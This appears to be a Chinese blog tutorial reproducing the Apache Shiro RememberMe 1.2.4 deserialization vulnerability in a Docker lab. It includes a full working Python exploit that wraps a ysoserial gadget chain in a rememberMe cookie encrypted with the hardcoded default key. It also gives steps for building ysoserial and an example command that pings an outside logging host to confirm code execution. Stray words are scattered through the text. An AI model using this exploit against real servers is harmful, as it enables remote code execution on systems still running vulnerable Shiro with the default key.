Shiro RememberMe 1.2.4 反序列化漏洞详细复现

0x00 前言

今天上班的时候收到了一个复测的任务,打开一看,shiro反序列化漏洞,What?这是个什么东西,经百度查找后才知道,原来是Java的开发框架,好吧,仍是没据说过。。因为初测报告上的过程过于简略(惟一有用的只有KEY),因此不得不本身研究一番了。java

0x01 环境搭建

漏洞版本<=1.2.4,使用docker搭建
python

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

访问80端口便可访问漏洞环境linux

0x02 工具准备

一、生成payload的脚本git

将下面的脚本保存至本地命名为shiro_poc.py,而后进入linux系统/tmp目录下(如想使用其余KEY,替换脚本中的便可)github

不要使用vi/vim命令建立文件再粘贴过去,粘贴会破坏代码的布局格式docker

命令行输入rz回车,就会跳出文件上传的页面(若是报错,pip安装一下),选择文件上传便可vim

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

 二、安装模块浏览器

脚本使用的是python3,安装模块时要使用pip3 install 模块名cookie

其中有一个模块须要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipherapp

pip3 install pycrypto

三、ysoserial的jar文件

依次执行如下命令(jar的文件名要和脚本中的同样,文件要和脚本在同一目录下)

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

0x03 复现过程

在脚本后面输入你想要执行的命令,例:

python3 shiro_poc.py "ping fkl2af.ceye.io"

而后便会在脚本所在目录下生成文件payload.cookie

 

浏览器打开漏洞环境并登录进去,点击account page抓包

 

用payload.cookie中内容替换Cookie中的所有内容,Go

 

到ceye平台查看便可到流量记录

最后感谢达哥和豪哥的帮助,让我顺利完成复测

如想学习更多漏洞复现,欢迎关注公众号Timeline Sec

 

参考连接:

https://paper.seebug.org/shiro-rememberme-1-2-4/

相关文章
相关标签/搜索